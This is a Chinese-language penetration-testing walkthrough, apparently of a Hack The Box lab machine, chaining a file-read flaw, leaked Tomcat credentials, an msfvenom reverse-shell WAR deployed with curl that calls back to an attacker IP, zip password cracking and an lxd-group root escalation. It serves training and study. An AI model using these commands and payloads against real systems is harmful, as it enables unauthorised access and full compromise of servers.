赞
踩
发现开放了22、80、8080这三个常见的端口
我们访问的时候发现了一个域名地址,我们可以把它添加到hosts文件中
在我们访问到NEWS页面时,发现URL地址上可能存在LFI命令执行
我们用burpsuite进行抓包,并进行了Path Fuzzing。我们发现当file的参数为../../../../etc/passwd
时,会回显内容
我们尝试使用默认账号密码去登录tomcat,但是都失败了
既然上面存在LFI命令执行,那么我们就可以查看一下tomcat-user.xml
文件来寻找账号密码,凭据是tomcat:$3cureP4s5w0rd123!
那么我们先制造一个war木马包
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f war > shell.war
我们可以登录到web界面进行上传部署,同时也可以通过curl命令进行上传war包
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f war > shell.war
但是当我们登录进web界面的时候,发现我们被拒绝访问了。只有manager-script
和manager-jmx
可以操作,根据提示,前者允许 tomcat 用户通过位于的文本基础服务部署应用程序/manager/text。而根据前面的html内容得知,manager-script和tomcat用户的密码是一致的。
我们用serverinfo
来测试此账户密码是否正确
我们将生成的木马部署到tomcat的服务器上
curl -u 'tomcat:$3cureP4s5w0rd123!' -T "shell.war" "http://10.10.10.194:8080/manager/text/deploy?path=/shellshell"
开启nc监听,并访问我们上传的shell.war包
访问curl http://10.10.10.194:8080/shellshell/
因为我们现在还是tomcat用户,所以我们要想办法提权到普通用户,我们查看了下home目录,存在一个ash用户
我们进入/var/www/html/目录下查看到files目录下有一个备份压缩包
为了保证完整性,我在靶机上用python开了一个服务器,把压缩包下载到本地中
发现解压需要密码
我们使用fcrackzip
工具对密码进行猜解,当然也可以用john。我们得到密码为admin@it
如果我们使用john的话,我们得先使用zip2john
创建一个文件对应的哈希值,然后才能用john来破解
我们进入到解压好的目录后,发现没什么有价值的东西,但是我们可以尝试能否使用这个密码切换到ash用户
我们发现ash是lxd组的成员,LXD 是一个根进程,它为任何对 LXD UNIX 套接字具有写访问权限的人执行操作。它通常不会尝试匹配调用用户的权限。有多种方法可以利用这一点。其中之一是使用 LXD API 将主机的根文件系统挂载到将在本文中使用的容器中。这为低权限用户提供了对主机文件系统的 root 访问权限。 而lxc是Linux Container容器是一种内核虚拟化技术,可以提供轻量级的虚拟化,以便隔离进程和资源。
我们现在github上下载lxd-alpine-builder
这个镜像,然后我们按照步骤执行build-alpine
这个文件,执行结束后它会生成一个压缩包
我们开启一个python服务器进行下载
我们进行镜像的导入并初始化它,全程保持默认就可以了
现在我们的镜像已经成功导入,我们将创建一个fusion-root具有安全权限的容器,允许它以 root 身份运行
接下来,我们将根文件系统挂载到我们的容器中
启动容器
执行lxc exec fustion-root /bin/sh
获取超级管理员权限
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。